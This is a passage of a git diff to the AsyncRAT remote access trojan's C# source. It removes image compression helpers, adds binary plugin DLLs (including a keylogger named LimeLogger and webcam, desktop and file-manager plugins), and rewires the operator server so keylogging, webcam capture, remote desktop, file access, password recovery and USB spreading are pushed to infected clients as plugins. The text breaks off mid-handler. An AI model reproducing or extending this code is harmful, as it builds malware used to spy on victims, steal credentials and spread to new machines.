@@ -1,49 +0,0 @@
-using System.Drawing;
-using System.Drawing.Imaging;
-using System.IO;
-
-namespace Client.StreamLibrary.src
-{
- public class JpgCompression
- {
- private EncoderParameter parameter;
- private ImageCodecInfo encoderInfo;
- private EncoderParameters encoderParams;
-
- public JpgCompression(int Quality)
- {
- this.parameter = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, (long)Quality);
- this.encoderInfo = GetEncoderInfo("image/jpeg");
- this.encoderParams = new EncoderParameters(2);
- this.encoderParams.Param[0] = parameter;
- this.encoderParams.Param[1] = new EncoderParameter(System.Drawing.Imaging.Encoder.Compression, (long)2);
- }
-
- public byte[] Compress(Bitmap bmp)
- {
- using (MemoryStream stream = new MemoryStream())
- {
- bmp.Save(stream, encoderInfo, encoderParams);
- return stream.ToArray();
- }
- }
- public void Compress(Bitmap bmp, ref Stream TargetStream)
- {
- bmp.Save(TargetStream, encoderInfo, encoderParams);
- }
-
- private ImageCodecInfo GetEncoderInfo(string mimeType)
- {
- ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
- int num2 = imageEncoders.Length - 1;
- for (int i = 0; i <= num2; i++)
- {
- if (imageEncoders[i].MimeType == mimeType)
- {
- return imageEncoders[i];
- }
- }
- return null;
- }
- }
-}
diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/LzwCompression.cs b/AsyncRAT-C#/Client/StreamLibrary/src/LzwCompression.cs
deleted file mode 100644
index 2654908..0000000
--- a/AsyncRAT-C#/Client/StreamLibrary/src/LzwCompression.cs
+++ /dev/null
@@ -1,52 +0,0 @@
-using System.Drawing;
-using System.Drawing.Imaging;
-using System.IO;
-
-namespace Client.StreamLibrary.src
-{
- public class LzwCompression
- {
- private EncoderParameter parameter;
- private ImageCodecInfo encoderInfo;
- private EncoderParameters encoderParams;
-
- public LzwCompression(int Quality)
- {
- this.parameter = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, (long)Quality);
- this.encoderInfo = GetEncoderInfo("image/jpeg");
- this.encoderParams = new EncoderParameters(2);
- this.encoderParams.Param[0] = parameter;
- this.encoderParams.Param[1] = new EncoderParameter(System.Drawing.Imaging.Encoder.Compression, (long)EncoderValue.CompressionLZW);
- }
-
- public byte[] Compress(Bitmap bmp, byte[] AdditionInfo = null)
- {
- using (MemoryStream stream = new MemoryStream())
- {
- if (AdditionInfo != null)
- stream.Write(AdditionInfo, 0, AdditionInfo.Length);
- bmp.Save(stream, encoderInfo, encoderParams);
- return stream.ToArray();
- }
- }
- public void Compress(Bitmap bmp, Stream stream, byte[] AdditionInfo = null)
- {
- if (AdditionInfo != null)
- stream.Write(AdditionInfo, 0, AdditionInfo.Length);
- bmp.Save(stream, encoderInfo, encoderParams);
- }
-
- private ImageCodecInfo GetEncoderInfo(string mimeType)
- {
- ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
- for (int i = 0; i < imageEncoders.Length; i++)
- {
- if (imageEncoders[i].MimeType == mimeType)
- {
- return imageEncoders[i];
- }
- }
- return null;
- }
- }
-}
\ No newline at end of file
diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/NativeMethods.cs b/AsyncRAT-C#/Client/StreamLibrary/src/NativeMethods.cs
deleted file mode 100644
index f8dbe91..0000000
--- a/AsyncRAT-C#/Client/StreamLibrary/src/NativeMethods.cs
+++ /dev/null
@@ -1,20 +0,0 @@
-using System;
-using System.Runtime.InteropServices;
-
-namespace Client.StreamLibrary.src
-{
- public class NativeMethods
- {
- [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
- public static extern unsafe int memcmp(byte* ptr1, byte* ptr2, uint count);
-
- [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
- public static extern int memcmp(IntPtr ptr1, IntPtr ptr2, uint count);
-
- [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
- public static extern int memcpy(IntPtr dst, IntPtr src, uint count);
-
- [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
- public static extern unsafe int memcpy(void* dst, void* src, uint count);
- }
-}
\ No newline at end of file
diff --git a/AsyncRAT-C#/Plugin/LimeLogger.dll b/AsyncRAT-C#/Plugin/LimeLogger.dll
new file mode 100644
index 0000000..cc17afb
Binary files /dev/null and b/AsyncRAT-C#/Plugin/LimeLogger.dll differ
diff --git a/AsyncRAT-C#/Plugin/PluginBase.zip b/AsyncRAT-C#/Plugin/PluginBase.zip
new file mode 100644
index 0000000..304417c
Binary files /dev/null and b/AsyncRAT-C#/Plugin/PluginBase.zip differ
diff --git a/AsyncRAT-C#/Plugin/PluginCam.dll b/AsyncRAT-C#/Plugin/PluginCam.dll
new file mode 100644
index 0000000..a0fbf75
Binary files /dev/null and b/AsyncRAT-C#/Plugin/PluginCam.dll differ
diff --git a/AsyncRAT-C#/Plugin/PluginChat.dll b/AsyncRAT-C#/Plugin/PluginChat.dll
new file mode 100644
index 0000000..d347f4a
Binary files /dev/null and b/AsyncRAT-C#/Plugin/PluginChat.dll differ
diff --git a/AsyncRAT-C#/Plugin/PluginDesktop.dll b/AsyncRAT-C#/Plugin/PluginDesktop.dll
new file mode 100644
index 0000000..2c960d8
Binary files /dev/null and b/AsyncRAT-C#/Plugin/PluginDesktop.dll differ
diff --git a/AsyncRAT-C#/Plugin/PluginFileManager.dll b/AsyncRAT-C#/Plugin/PluginFileManager.dll
new file mode 100644
index 0000000..ee027a0
Binary files /dev/null and b/AsyncRAT-C#/Plugin/PluginFileManager.dll differ
diff --git a/AsyncRAT-C#/Server/Forms/Form1.cs b/AsyncRAT-C#/Server/Forms/Form1.cs
index 91b8819..ebc8eb9 100644
--- a/AsyncRAT-C#/Server/Forms/Form1.cs
+++ b/AsyncRAT-C#/Server/Forms/Form1.cs
@@ -16,6 +16,7 @@ using Server.Handle_Packet;
using Server.Helper;
using System.Security.Cryptography.X509Certificates;
using System.Collections.Generic;
+using System.Text;
/*
│ Author : NYAN CAT
@@ -617,20 +618,19 @@ namespace Server
private void RemoteDesktopToolStripMenuItem1_Click(object sender, EventArgs e)
{
- if (listView1.SelectedItems.Count > 0)
+ if (listView1.SelectedItems.Count > 0)
{
try
{
- //DLL Plugin
- //msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
- //msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.PluginDesktop);
MsgPack msgpack = new MsgPack();
- msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
- msgpack.ForcePathObject("Option").AsString = "capture";
- msgpack.ForcePathObject("Quality").AsInteger = 30;
+ msgpack.ForcePathObject("Packet").AsString = "plugin";
+ msgpack.ForcePathObject("Command").AsString = "invoke";
+ msgpack.ForcePathObject("Hash").AsString = Methods.GetHash(Path.Combine(Application.StartupPath, "Plugin", "PluginDesktop.dll"));
foreach (ListViewItem itm in listView1.SelectedItems)
{
Clients client = (Clients)itm.Tag;
+ msgpack.ForcePathObject("Host").AsString = client.TcpClient.LocalEndPoint.ToString().Split(':')[0];
+ msgpack.ForcePathObject("Port").AsString = client.TcpClient.LocalEndPoint.ToString().Split(':')[1];
this.BeginInvoke((MethodInvoker)(() =>
{
FormRemoteDesktop remoteDesktop = (FormRemoteDesktop)Application.OpenForms["RemoteDesktop:" + client.ID];
@@ -650,7 +650,11 @@ namespace Server
}));
}
}
- catch { }
+ catch (Exception ex)
+ {
+ MessageBox.Show(ex.Message, "AsyncRAT", MessageBoxButtons.OK, MessageBoxIcon.Error);
+ return;
+ }
}
}
@@ -661,8 +665,9 @@ namespace Server
if (listView1.SelectedItems.Count > 0)
{
MsgPack msgpack = new MsgPack();
- msgpack.ForcePathObject("Packet").AsString = "keyLogger";
- msgpack.ForcePathObject("isON").AsString = "true";
+ msgpack.ForcePathObject("Packet").AsString = "plugin";
+ msgpack.ForcePathObject("Command").AsString = "invoke";
+ msgpack.ForcePathObject("Hash").AsString = Methods.GetHash(Path.Combine(Application.StartupPath, "Plugin", "LimeLogger.dll"));
foreach (ListViewItem itm in listView1.SelectedItems)
{
Clients client = (Clients)itm.Tag;
@@ -675,8 +680,7 @@ namespace Server
{
Name = "keyLogger:" + client.ID,
Text = "keyLogger:" + client.ID,
- F = this,
- Client = client
+ F = this
};
KL.Show();
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
@@ -707,7 +711,7 @@ namespace Server
Name = "chat:" + client.ID,
Text = "chat:" + client.ID,
F = this,
- Client = client
+ ParentClient = client
};
shell.Show();
}
@@ -725,8 +729,9 @@ namespace Server
if (listView1.SelectedItems.Count > 0)
{
MsgPack msgpack = new MsgPack();
- msgpack.ForcePathObject("Packet").AsString = "fileManager";
- msgpack.ForcePathObject("Command").AsString = "getDrivers";
+ msgpack.ForcePathObject("Packet").AsString = "plugin";
+ msgpack.ForcePathObject("Command").AsString = "invoke";
+ msgpack.ForcePathObject("Hash").AsString = Methods.GetHash(Path.Combine(Application.StartupPath, "Plugin", "PluginFileManager.dll"));
foreach (ListViewItem itm in listView1.SelectedItems)
{
Clients client = (Clients)itm.Tag;
@@ -740,8 +745,8 @@ namespace Server
Name = "fileManager:" + client.ID,
Text = "fileManager:" + client.ID,
F = this,
- Client = client,
- FullPath = Path.Combine(Application.StartupPath, "ClientsFolder", client.ID, "RemoteDesktop")
+ ParentClient = client,
+ FullPath = Path.Combine(Application.StartupPath, "ClientsFolder", client.ID, "FileManager")
};
fileManager.Show();
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
@@ -750,7 +755,11 @@ namespace Server
}
}
}
- catch { }
+ catch (Exception ex)
+ {
+ MessageBox.Show(ex.Message, "AsyncRAT", MessageBoxButtons.OK, MessageBoxIcon.Error);
+ return;
+ }
}
private void PasswordRecoveryToolStripMenuItem1_Click(object sender, EventArgs e)
@@ -771,7 +780,11 @@ namespace Server
new HandleLogs().Addmsg("Sending Password Recovery..", Color.Black);
tabControl1.SelectedIndex = 1;
}
- catch { }
+ catch (Exception ex)
+ {
+ MessageBox.Show(ex.Message, "AsyncRAT", MessageBoxButtons.OK, MessageBoxIcon.Error);
+ return;
+ }
}
}
@@ -836,7 +849,7 @@ namespace Server
try
{
MsgPack msgpack = new MsgPack();
- msgpack.ForcePathObject("Packet").AsString = "usbSpread";
+ msgpack.ForcePathObject("Packet").AsString = "usb";
msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.PluginUsbSpread);
foreach (ListViewItem itm in listView1.SelectedItems)
{
@@ -846,7 +859,11 @@ namespace Server
new HandleLogs().Addmsg("Sending USB Spread..", Color.Black);
tabControl1.SelectedIndex = 1;
}
- catch { }
+ catch (Exception ex)
+ {
+ MessageBox.Show(ex.Message, "AsyncRAT", MessageBoxButtons.OK, MessageBoxIcon.Error);
+ return;
+ }
}
}
@@ -1259,8 +1276,9 @@ namespace Server
try
{
MsgPack msgpack = new MsgPack();
- msgpack.ForcePathObject("Packet").AsString = "webcam";
- msgpack.ForcePathObject("Command").AsString = "getWebcams";
+ msgpack.ForcePathObject("Packet").AsString = "plugin";
+ msgpack.ForcePathObject("Command").AsString = "invoke";
+ msgpack.ForcePathObject("Hash").AsString = Methods.GetHash(Path.Combine(Application.StartupPath, "Plugin", "PluginCam.dll"));
foreach (ListViewItem itm in listView1.SelectedItems)
{
Clients client = (Clients)itm.Tag;
@@ -1283,7 +1301,11 @@ namespace Server
}));
}
}
- catch { }
+ catch (Exception ex)
+ {
+ MessageBox.Show(ex.Message, "AsyncRAT", MessageBoxButtons.OK, MessageBoxIcon.Error);
+ return;
+ }
}
}
}
diff --git a/AsyncRAT-C#/Server/Forms/FormChat.Designer.cs b/AsyncRAT-C#/Server/Forms/FormChat.Designer.cs
index 47dfb20..fd7f708 100644
--- a/AsyncRAT-C#/Server/Forms/FormChat.Designer.cs
+++ b/AsyncRAT-C#/Server/Forms/FormChat.Designer.cs
@@ -42,6 +42,7 @@
| System.Windows.Forms.AnchorStyles.Right)));
this.richTextBox1.BackColor = System.Drawing.SystemColors.Window;
this.richTextBox1.BorderStyle = System.Windows.Forms.BorderStyle.None;
+ this.richTextBox1.Enabled = false;
this.richTextBox1.Location = new System.Drawing.Point(12, 12);
this.richTextBox1.Name = "richTextBox1";
this.richTextBox1.ReadOnly = true;
@@ -52,6 +53,7 @@
// textBox1
//
this.textBox1.Dock = System.Windows.Forms.DockStyle.Bottom;
+ this.textBox1.Enabled = false;
this.textBox1.Location = new System.Drawing.Point(0, 384);
this.textBox1.Name = "textBox1";
this.textBox1.Size = new System.Drawing.Size(757, 26);
@@ -60,7 +62,6 @@
//
// timer1
//
- this.timer1.Enabled = true;
this.timer1.Interval = 1000;
this.timer1.Tick += new System.EventHandler(this.Timer1_Tick);
//
@@ -83,8 +84,8 @@
}
#endregion
- private System.Windows.Forms.TextBox textBox1;
public System.Windows.Forms.RichTextBox richTextBox1;
- private System.Windows.Forms.Timer timer1;
+ public System.Windows.Forms.Timer timer1;
+ public System.Windows.Forms.TextBox textBox1;
}
}
\ No newline at end of file
diff --git a/AsyncRAT-C#/Server/Forms/FormChat.cs b/AsyncRAT-C#/Server/Forms/FormChat.cs
index e6187fe..d6aeddd 100644
--- a/AsyncRAT-C#/Server/Forms/FormChat.cs
+++ b/AsyncRAT-C#/Server/Forms/FormChat.cs
@@ -11,13 +11,17 @@ using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Threading;
+using Server.Helper;
+using System.IO;
namespace Server.Forms
{
public partial class FormChat : Form
{
public Form1 F { get; set; }
- internal Clients Client { get; set; }
+ public Clients Client { get; set; }
+ public Clients ParentClient { get; set; }
+
private string Nickname = "Admin";
public FormChat()
{
@@ -28,34 +32,46 @@ namespace Server.Forms
{
if (e.KeyData == Keys.Enter && !string.IsNullOrWhiteSpace(textBox1.Text))
{
- richTextBox1.AppendText("ME: " + textBox1.Text + Environment.NewLine);
- MsgPack msgpack = new MsgPack();
- msgpack.ForcePathObject("Packet").AsString = "chatWriteInput";
- msgpack.ForcePathObject("Input").AsString = Nickname + ": " + textBox1.Text;
- ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
- textBox1.Clear();
+ try
+ {
+ richTextBox1.AppendText("ME: " + textBox1.Text + Environment.NewLine);
+ MsgPack msgpack = new MsgPack();
+ msgpack.ForcePathObject("Packet").AsString = "chatWriteInput";
+ msgpack.ForcePathObject("Input").AsString = Nickname + ": " + textBox1.Text;
+ ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
+ textBox1.Clear();
+ }
+ catch { }
}
}
private void FormChat_Load(object sender, EventArgs e)
{
- string nick = Interaction.InputBox("TYPE YOUR NICKNAME", "CHAT", "Admin");
- if (string.IsNullOrEmpty(nick))
- this.Close();
- else
+ try
{
- Nickname = nick;
- MsgPack msgpack = new MsgPack();
- msgpack.ForcePathObject("Packet").AsString = "chat";
- ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
+ string nick = Interaction.InputBox("TYPE YOUR NICKNAME", "CHAT", "Admin");
+ if (string.IsNullOrEmpty(nick))
+ this.Close();
+ else
+ {
+ Nickname = nick;
+ MsgPack msgpack = new MsgPack();
+ msgpack.ForcePathObject("Packet").AsString = "plugin";
+ msgpack.ForcePathObject("Command").AsString = "invoke";
+ msgpack.ForcePathObject("Hash").AsString = Methods.GetHash(Path.Combine(Application.StartupPath, "Plugin", "PluginChat.dll"));
+ ThreadPool.QueueUserWorkItem(ParentClient.Send, msgpack.Encode2Bytes());
+ }
}
+ catch { }
}
private void FormChat_FormClosed(object sender, FormClosedEventArgs e)
{
- MsgPack msgpack = new MsgPack();
- msgpack.ForcePathObject("Packet").AsString = "chatExit";
- ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
+ try
+ {
+ Client?.Disconnected();
+ }
+ catch { }
}
private void Timer1_Tick(object sender, EventArgs e)
diff --git a/AsyncRAT-C#/Server/Forms/FormDownloadFile.cs b/AsyncRAT-C#/Server/Forms/FormDownloadFile.cs
index f891333..438aac1 100644
--- a/AsyncRAT-C#/Server/Forms/FormDownloadFile.cs
+++ b/AsyncRAT-C#/Server/Forms/FormDownloadFile.cs
@@ -26,32 +26,40 @@ namespace Server.Forms
public string FullFileName;
public string ClientFullFileName;
private bool IsUpload = false;
-
+ public string FullPath { get; set; }
public FormDownloadFile()
{
InitializeComponent();
}
private void timer1_Tick(object sender, EventArgs e)
{
- if (!IsUpload)
+ if (Client.TcpClient.Connected)
{
- labelsize.Text = $"{Methods.BytesToString(FileSize)} \\ {Methods.BytesToString(Client.BytesRecevied)}";
- if (Client.BytesRecevied >= FileSize)
+ if (!IsUpload)
{
- labelsize.Text = "Downloaded";
- labelsize.ForeColor = Color.Green;
- timer1.Stop();
+ labelsize.Text = $"{Methods.BytesToString(FileSize)} \\ {Methods.BytesToString(Client.BytesRecevied)}";
+ if (Client.BytesRecevied >= FileSize)
+ {
+ labelsize.Text = "Downloaded";
+ labelsize.ForeColor = Color.Green;
+ timer1.Stop();
+ }
+ }
+ else
+ {
+ labelsize.Text = $"{Methods.BytesToString(FileSize)} \\ {Methods.BytesToString(BytesSent)}";
+ if (BytesSent >= FileSize)
+ {
+ labelsize.Text = "Uploaded";
+ labelsize.ForeColor = Color.Green;
+ timer1.Stop();
+ }
}
}
else
{
- labelsize.Text = $"{Methods.BytesToString(FileSize)} \\ {Methods.BytesToString(BytesSent)}";
- if (BytesSent >= FileSize)
- {
- labelsize.Text = "Uploaded";
- labelsize.ForeColor = Color.Green;
- timer1.Stop();
- }
+ Client.Disconnected();
+ this.Close();
}
}
diff --git a/AsyncRAT-C#/Server/Forms/FormFileManager.Designer.cs b/AsyncRAT-C#/Server/Forms/FormFileManager.Designer.cs
index 37d2b7a..b786d48 100644
--- a/AsyncRAT-C#/Server/Forms/FormFileManager.Designer.cs
+++ b/AsyncRAT-C#/Server/Forms/FormFileManager.Designer.cs
@@ -52,14 +52,14 @@
this.dELETEToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.toolStripSeparator4 = new System.Windows.Forms.ToolStripSeparator();
this.createFolderToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
+ this.toolStripSeparator3 = new System.Windows.Forms.ToolStripSeparator();
+ this.openClientFolderToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.imageList1 = new System.Windows.Forms.ImageList(this.components);
this.statusStrip1 = new System.Windows.Forms.StatusStrip();
this.toolStripStatusLabel1 = new System.Windows.Forms.ToolStripStatusLabel();
this.toolStripStatusLabel2 = new System.Windows.Forms.ToolStripStatusLabel();
this.toolStripStatusLabel3 = new System.Windows.Forms.ToolStripStatusLabel();
this.timer1 = new System.Windows.Forms.Timer(this.components);
- this.toolStripSeparator3 = new System.Windows.Forms.ToolStripSeparator();
- this.openClientFolderToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.contextMenuStrip1.SuspendLayout();
this.statusStrip1.SuspendLayout();
this.SuspendLayout();
@@ -75,6 +75,7 @@
this.columnHeader1,
this.columnHeader2});
this.listView1.ContextMenuStrip = this.contextMenuStrip1;
+ this.listView1.Enabled = false;
this.listView1.LargeImageList = this.imageList1;
this.listView1.Location = new System.Drawing.Point(0, 1);
this.listView1.Name = "listView1";
@@ -106,19 +107,19 @@
this.toolStripSeparator3,
this.openClientFolderToolStripMenuItem});
this.contextMenuStrip1.Name = "contextMenuStrip1";
- this.contextMenuStrip1.Size = new System.Drawing.Size(241, 439);
+ this.contextMenuStrip1.Size = new System.Drawing.Size(233, 406);
//
// backToolStripMenuItem
//
this.backToolStripMenuItem.Name = "backToolStripMenuItem";
- this.backToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
+ this.backToolStripMenuItem.Size = new System.Drawing.Size(232, 32);
this.backToolStripMenuItem.Text = "Back";
this.backToolStripMenuItem.Click += new System.EventHandler(this.backToolStripMenuItem_Click);
//
// rEFRESHToolStripMenuItem
//
this.rEFRESHToolStripMenuItem.Name = "rEFRESHToolStripMenuItem";
- this.rEFRESHToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
+ this.rEFRESHToolStripMenuItem.Size = new System.Drawing.Size(232, 32);
this.rEFRESHToolStripMenuItem.Text = "Refresh";
this.rEFRESHToolStripMenuItem.Click += new System.EventHandler(this.rEFRESHToolStripMenuItem_Click);
//
@@ -131,7 +132,7 @@
this.toolStripSeparator2,
this.driversListsToolStripMenuItem});
this.gOTOToolStripMenuItem.Name = "gOTOToolStripMenuItem";
- this.gOTOToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
+ this.gOTOToolStripMenuItem.Size = new System.Drawing.Size(232, 32);
this.gOTOToolStripMenuItem.Text = "Go To";
//
// dESKTOPToolStripMenuItem
@@ -170,69 +171,81 @@
// toolStripSeparator1
//
this.toolStripSeparator1.Name = "toolStripSeparator1";
- this.toolStripSeparator1.Size = new System.Drawing.Size(237, 6);
+ this.toolStripSeparator1.Size = new System.Drawing.Size(229, 6);
//
// downloadToolStripMenuItem
//
this.downloadToolStripMenuItem.Name = "downloadToolStripMenuItem";
- this.downloadToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
+ this.downloadToolStripMenuItem.Size = new System.Drawing.Size(232, 32);
this.downloadToolStripMenuItem.Text = "Download";
this.downloadToolStripMenuItem.Click += new System.EventHandler(this.downloadToolStripMenuItem_Click);
//
// uPLOADToolStripMenuItem
//
this.uPLOADToolStripMenuItem.Name = "uPLOADToolStripMenuItem";
- this.uPLOADToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
+ this.uPLOADToolStripMenuItem.Size = new System.Drawing.Size(232, 32);
this.uPLOADToolStripMenuItem.Text = "Upload";
this.uPLOADToolStripMenuItem.Click += new System.EventHandler(this.uPLOADToolStripMenuItem_Click);
//
// eXECUTEToolStripMenuItem
//
this.eXECUTEToolStripMenuItem.Name = "eXECUTEToolStripMenuItem";
- this.eXECUTEToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
+ this.eXECUTEToolStripMenuItem.Size = new System.Drawing.Size(232, 32);
this.eXECUTEToolStripMenuItem.Text = "Execute";
this.eXECUTEToolStripMenuItem.Click += new System.EventHandler(this.eXECUTEToolStripMenuItem_Click);
//
// renameToolStripMenuItem
//
this.renameToolStripMenuItem.Name = "renameToolStripMenuItem";
- this.renameToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
+ this.renameToolStripMenuItem.Size = new System.Drawing.Size(232, 32);
this.renameToolStripMenuItem.Text = "Rename";
this.renameToolStripMenuItem.Click += new System.EventHandler(this.RenameToolStripMenuItem_Click);
//
// copyToolStripMenuItem
//
this.copyToolStripMenuItem.Name = "copyToolStripMenuItem";
- this.copyToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
+ this.copyToolStripMenuItem.Size = new System.Drawing.Size(232, 32);
this.copyToolStripMenuItem.Text = "Copy";
this.copyToolStripMenuItem.Click += new System.EventHandler(this.CopyToolStripMenuItem_Click);
//
// pasteToolStripMenuItem
//
this.pasteToolStripMenuItem.Name = "pasteToolStripMenuItem";
- this.pasteToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
+ this.pasteToolStripMenuItem.Size = new System.Drawing.Size(232, 32);
this.pasteToolStripMenuItem.Text = "Paste";
this.pasteToolStripMenuItem.Click += new System.EventHandler(this.PasteToolStripMenuItem_Click_1);
//
// dELETEToolStripMenuItem
//
this.dELETEToolStripMenuItem.Name = "dELETEToolStripMenuItem";
- this.dELETEToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
+ this.dELETEToolStripMenuItem.Size = new System.Drawing.Size(232, 32);
this.dELETEToolStripMenuItem.Text = "Delete";
this.dELETEToolStripMenuItem.Click += new System.EventHandler(this.dELETEToolStripMenuItem_Click);
//
// toolStripSeparator4
//
this.toolStripSeparator4.Name = "toolStripSeparator4";
- this.toolStripSeparator4.Size = new System.Drawing.Size(237, 6);
+ this.toolStripSeparator4.Size = new System.Drawing.Size(229, 6);
//
// createFolderToolStripMenuItem
//
this.createFolderToolStripMenuItem.Name = "createFolderToolStripMenuItem";
- this.createFolderToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
+ this.createFolderToolStripMenuItem.Size = new System.Drawing.Size(232, 32);
this.createFolderToolStripMenuItem.Text = "Create Folder";
this.createFolderToolStripMenuItem.Click += new System.EventHandler(this.CreateFolderToolStripMenuItem_Click);
//
+ // toolStripSeparator3
+ //
+ this.toolStripSeparator3.Name = "toolStripSeparator3";
+ this.toolStripSeparator3.Size = new System.Drawing.Size(229, 6);
+ //
+ // openClientFolderToolStripMenuItem
+ //
+ this.openClientFolderToolStripMenuItem.Name = "openClientFolderToolStripMenuItem";
+ this.openClientFolderToolStripMenuItem.Size = new System.Drawing.Size(232, 32);
+ this.openClientFolderToolStripMenuItem.Text = "Open Client Folder";
+ this.openClientFolderToolStripMenuItem.Click += new System.EventHandler(this.OpenClientFolderToolStripMenuItem_Click);
+ //
// imageList1
//
this.imageList1.ImageStream = ((System.Windows.Forms.ImageListStreamer)(resources.GetObject("imageList1.ImageStream")));
@@ -276,22 +289,9 @@
//
// timer1
//
- this.timer1.Enabled = true;
this.timer1.Interval = 1000;
this.timer1.Tick += new System.EventHandler(this.Timer1_Tick);
//
- // toolStripSeparator3
- //
- this.toolStripSeparator3.Name = "toolStripSeparator3";
- this.toolStripSeparator3.Size = new System.Drawing.Size(237, 6);
- //
- // openClientFolderToolStripMenuItem
- //
- this.openClientFolderToolStripMenuItem.Name = "openClientFolderToolStripMenuItem";
- this.openClientFolderToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
- this.openClientFolderToolStripMenuItem.Text = "Open Client Folder";
- this.openClientFolderToolStripMenuItem.Click += new System.EventHandler(this.OpenClientFolderToolStripMenuItem_Click);
- //
// FormFileManager
//
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
@@ -302,6 +302,7 @@
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.Name = "FormFileManager";
this.Text = "FileManager";
+ this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.FormFileManager_FormClosed);
this.contextMenuStrip1.ResumeLayout(false);
this.statusStrip1.ResumeLayout(false);
this.statusStrip1.PerformLayout();
@@ -326,7 +327,6 @@
private System.Windows.Forms.ToolStripMenuItem dELETEToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem rEFRESHToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem eXECUTEToolStripMenuItem;
- private System.Windows.Forms.Timer timer1;
private System.Windows.Forms.ToolStripMenuItem gOTOToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem dESKTOPToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem aPPDATAToolStripMenuItem;
@@ -341,5 +341,6 @@
private System.Windows.Forms.ToolStripMenuItem driversListsToolStripMenuItem;
private System.Windows.Forms.ToolStripSeparator toolStripSeparator3;
private System.Windows.Forms.ToolStripMenuItem openClientFolderToolStripMenuItem;
+ public System.Windows.Forms.Timer timer1;
}
}
\ No newline at end of file
diff --git a/AsyncRAT-C#/Server/Forms/FormFileManager.cs b/AsyncRAT-C#/Server/Forms/FormFileManager.cs
index fcb1e9a..0687277 100644
--- a/AsyncRAT-C#/Server/Forms/FormFileManager.cs
+++ b/AsyncRAT-C#/Server/Forms/FormFileManager.cs
@@ -14,6 +14,7 @@ namespace Server.Forms
public partial class FormFileManager : Form
{
public Form1 F { get; set; }
+ internal Clients ParentClient { get; set; }
internal Clients Client { get; set; }
public string FullPath { get; set; }
public FormFileManager()
@@ -80,8 +81,8 @@ namespace Server.Forms
{
if (listView1.SelectedItems.Count > 0)
{
- if (!Directory.Exists(Path.Combine(Application.StartupPath, "ClientsFolder\\" + Client.ID)))
- Directory.CreateDirectory(Path.Combine(Application.StartupPath, "ClientsFolder\\" + Client.ID));
+ if (!Directory.Exists(FullPath))
+ Directory.CreateDirectory(FullPath);
foreach (ListViewItem itm in listView1.SelectedItems)
{
if (itm.ImageIndex == 0 && itm.ImageIndex == 1 && itm.ImageIndex == 2) return;
@@ -101,7 +102,8 @@ namespace Server.Forms
{
Name = "socketDownload:" + dwid,
Text = "socketDownload:" + Client.ID,
- F = F
+ F = F,
+ FullPath = FullPath
};
SD.Show();
}
@@ -231,7 +233,7 @@ namespace Server.Forms
{
try
{
- if (!Client.TcpClient.Connected) this.Close();
+ if (!Client.TcpClient.Connected || !ParentClient.TcpClient.Connected) this.Close();
}
catch { this.Close(); }
}
@@ -367,19 +369,20 @@ namespace Server.Forms
msgpack.ForcePathObject("Path").AsString = "USER";
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
}
- catch
- {
-
- }
+ catch { }
}
private void DriversListsToolStripMenuItem_Click(object sender, EventArgs e)
{
- MsgPack msgpack = new MsgPack();
- msgpack.ForcePathObject("Packet").AsString = "fileManager";
- msgpack.ForcePathObject("Command").AsString = "getDrivers";
- toolStripStatusLabel1.Text = "";
- ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
+ try
+ {
+ MsgPack msgpack = new MsgPack();
+ msgpack.ForcePathObject("Packet").AsString = "fileManager";
+ msgpack.ForcePathObject("Command").AsString = "getDrivers";
+ toolStripStatusLabel1.Text = "";
+ ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
+ }
+ catch { }
}
private void OpenClientFolderToolStripMenuItem_Click(object sender, EventArgs e)
@@ -392,5 +395,16 @@ namespace Server.Forms
}
catch { }
}
+
+ private void FormFileManager_FormClosed(object sender, FormClosedEventArgs e)
+ {
+ try
+ {
+ MsgPack msgpack = new MsgPack();
+ msgpack.ForcePathObject("Command").AsString = "stopFileManager";
